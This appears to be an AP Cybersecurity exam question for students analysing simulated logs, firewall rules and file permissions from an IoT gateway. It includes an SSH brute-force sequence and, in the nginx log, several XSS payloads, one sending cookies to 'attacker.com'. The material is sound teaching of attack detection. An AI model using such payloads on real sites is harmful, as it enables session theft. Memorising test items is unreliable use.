🔒AP Cybersecurity
1. The following sources all come from the same device (IP address 192.168.50.10) and were captured during a routine risk assessment. Use them to answer parts A through E.
Source 1 — Device Firewall Settings
Rule Number | Action | Source | Destination | Direction | Port Number | Protocol |
|---|---|---|---|---|---|---|
1 | Allow | 192.168.50.0/24 | 192.168.50.10 | Inbound | 22 | SSH |
2 | Allow | ALL | 192.168.50.10 | Inbound | 443 | HTTPS |
3 | Allow | ALL | 192.168.50.10 | Inbound | 8443 | HTTPS |
4 | Allow | 192.168.50.10 | ALL | Outbound | 53 | DNS |
5 | Allow | 192.168.50.10 | ALL | Outbound | 123 | NTP |
6 | Allow | 192.168.50.10 | ALL | Outbound | 443 | HTTPS |
7 | Allow | 192.168.50.10 | ALL | Outbound | 80 | HTTP |
8 | Deny | ALL | ALL | Inbound | ALL | ALL |
Source 2 — /var/log/syslog
sudo tail -n 10 /var/log/syslog
1 Nov 12 14:15:01 edge-iot CRON[4102]: (root) CMD ( /opt/gateway/scripts/health_check.sh )
2 Nov 12 14:15:05 edge-iot systemd[1]: Started IoT Sensor Data Aggregator.
3 Nov 12 14:17:22 edge-iot dhcpcd[602]: eth0: carrier acquired
4 Nov 12 14:17:22 edge-iot dhcpcd[602]: eth0: IAID 12:34:56:78
5 Nov 12 14:17:23 edge-iot dhcpcd[602]: eth0: rebinding lease of 192.168.50.10
6 Nov 12 14:20:01 edge-iot CRON[4155]: (root) CMD ( /opt/gateway/scripts/health_check.sh )
7 Nov 12 14:25:01 edge-iot CRON[4201]: (root) CMD ( /opt/gateway/scripts/health_check.sh )
8 Nov 12 14:28:14 edge-iot systemd[1]: Reloading NGINX Web Server.
9 Nov 12 14:28:14 edge-iot systemd[1]: Reloaded NGINX Web Server.
10 Nov 12 14:30:01 edge-iot CRON[4250]: (root) CMD ( /opt/gateway/scripts/health_check.sh )Source 3 — /var/log/auth.log
sudo tail -n 15 /var/log/auth.log
1 Nov 12 14:31:05 edge-iot sshd[4301]: Accepted publickey for admin from 192.168.50.5 port 50212 ssh2
2 Nov 12 14:31:05 edge-iot sshd[4301]: pam_unix(sshd:session): session opened for user admin by (uid=0)
3 Nov 12 14:31:12 edge-iot kernel: [12345.678901] [UFW BLOCK] IN=eth0 OUT= MAC=00:1A:2B:3C:4D:5E:6F:7A:8B:9C:0D:1E:08:00 SRC=198.51.100.77 DST=192.168.50.10 LEN=60 TOS=0x00 PREC=0x00 TTL=54 ID=12345 PROTO=TCP SPT=45123 DPT=23 WINDOW=65535 RES=0x00 SYN URGP=0
4 Nov 12 14:32:10 edge-iot sshd[4350]: Failed password for invalid user root from 203.0.113.88 port 51110 ssh2
5 Nov 12 14:32:11 edge-iot sshd[4352]: Failed password for invalid user admin from 203.0.113.88 port 51112 ssh2
6 Nov 12 14:32:12 edge-iot sshd[4354]: Failed password for invalid user admin from 203.0.113.88 port 51114 ssh2
7 Nov 12 14:32:13 edge-iot sshd[4356]: Failed password for invalid user admin from 203.0.113.88 port 51116 ssh2
8 Nov 12 14:32:14 edge-iot sshd[4358]: Failed password for invalid user admin from 203.0.113.88 port 51118 ssh2
9 Nov 12 14:32:15 edge-iot sshd[4360]: Failed password for invalid user admin from 203.0.113.88 port 51120 ssh2
10 Nov 12 14:32:16 edge-iot sshd[4362]: Failed password for invalid user admin from 203.0.113.88 port 51122 ssh2
11 Nov 12 14:32:17 edge-iot sshd[4364]: Failed password for invalid user admin from 203.0.113.88 port 51124 ssh2
12 Nov 12 14:32:18 edge-iot sshd[4366]: Failed password for invalid user admin from 203.0.113.88 port 51126 ssh2
13 Nov 12 14:32:19 edge-iot sshd[4368]: Failed password for invalid user admin from 203.0.113.88 port 51128 ssh2
14 Nov 12 14:32:20 edge-iot sshd[4370]: Failed password for invalid user admin from 203.0.113.88 port 51130 ssh2
15 Nov 12 14:35:01 edge-iot CRON[4401]: pam_unix(cron:session): session opened for user root by (uid=0)Source 4 — /var/log/nginx/access.log
sudo tail -n 10 /var/log/nginx/access.log
1 192.168.50.5 - - [12/Nov/2026:14:31:08 +0000] "GET /dashboard HTTP/1.1" 200 4096 "-" "Mozilla/5.0"
2 192.168.50.5 - - [12/Nov/2026:14:31:10 +0000] "GET /api/status HTTP/1.1" 200 512 "-" "Mozilla/5.0"
3 192.168.50.5 - - [12/Nov/2026:14:31:15 +0000] "POST /api/config/update HTTP/1.1" 200 128 "-" "Mozilla/5.0"
4 198.51.100.45 - - [12/Nov/2026:14:38:01 +0000] "GET /api/search?q=sensors HTTP/1.1" 200 1024 "-" "curl/7.68.0"
5 198.51.100.45 - - [12/Nov/2026:14:38:05 +0000] "GET /api/search?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1" 200 1055 "-" "curl/7.68.0"
6 198.51.100.45 - - [12/Nov/2026:14:38:10 +0000] "GET /api/search?q=<script>document.location='http://attacker.com/?cookie='+document.cookie</script> HTTP/1.1" 200 1102 "-" "curl/7.68.0"
7 198.51.100.45 - - [12/Nov/2026:14:38:15 +0000] "GET /api/search?q=<img src=x onerror=alert('XSS')> HTTP/1.1" 200 1080 "-" "curl/7.68.0"
8 198.51.100.45 - - [12/Nov/2026:14:38:20 +0000] "GET /api/search?q=javascript:alert(document.cookie) HTTP/1.1" 200 1060 "-" "curl/7.68.0"
9 192.168.50.5 - - [12/Nov/2026:14:39:01 +0000] "GET /api/metrics HTTP/1.1" 200 2048 "-" "Mozilla/5.0"
10 192.168.50.5 - - [12/Nov/2026:14:39:05 +0000] "GET /logout HTTP/1.1" 302 0 "-" "Mozilla/5.0"Source 5 — ls -l /opt/gateway/config
ls -l /opt/gateway/config
total 24
drwxr-xr-x 2 root root 4096 Nov 10 09:00 certs
-rw-rw-r-- 1 root admin 2048 Nov 11 11:30 device.conf
-rw-r--r-- 1 root root 1024 Nov 10 09:00 gateway_startup.sh
-rw-r--r-- 1 root root 4096 Nov 10 09:10 mqtt_brokers.json
-rw------- 1 root root 512 Nov 10 09:05 private.key
-rw-r--r-- 1 root root 1200 Nov 10 09:15 readme.txtSource 6 — Acceptable Use Policy
Keep firmware updated to the latest vendor release.
Change default credentials upon initial setup of the device.
Connecting approved IoT sensors via the MQTT protocol.
Accessing the web management UI from the internal network.
Modifying gateway firewall rules without explicit administrative authorization.
Using the gateway device for general web browsing or external internet access.
Consider the policy for the device in Source 6.
Explain how one part of the policy helps protect the device.
Explain how one rule in the current policy could be modified to make the device more secure. Include a specific example in your response.
In the authorization log, there is evidence of a password attack in rows 4–14.
Describe the evidence in the log file that indicates a password attack. Include specific entries from the log file in your response.
Identify the IP address of the adversary.
Consider the file listing from the device in Source 5.
Explain how the permission settings for the device.conf file determine the level of access for that file for the owner, group, and all other users on the system. Include the name of the file in your response.
Other than removing all permissions from all users, describe one way the permission settings for the device.conf file could be configured to restrict access for some users on the device. Include the name of the file in your response.
Using the explanation from part C (ii), write one or more chmod commands that set the permissions described.
Consider the firewall settings and the authorization log from the device.
Explain how one connection attempt on the device was blocked by the device’s firewall. Include evidence from a log file in your response.
Other than allowing all traffic for all services, describe a modification to one firewall rule that would allow the connection attempt identified in part D (i).
Other than allowing the connection attempt identified in part D (i), describe one impact of your modification from part D (ii) on incoming or outgoing network traffic on the device.
Apart from the password attack identified in part B, there is evidence of another attack on the device. Consider all the sources from the device.
Determine the type of attack evidenced in a log file.
Describe specific information in the log file that indicates the attack named in part E (i).
Describe one way an automated system could halt this type of attack in real time.
This attack could be mitigated by an automated system, such as a firewall, IDS, IPS, or AI. Identify a different countermeasure that could mitigate, prevent, or deter the attack.
00:00
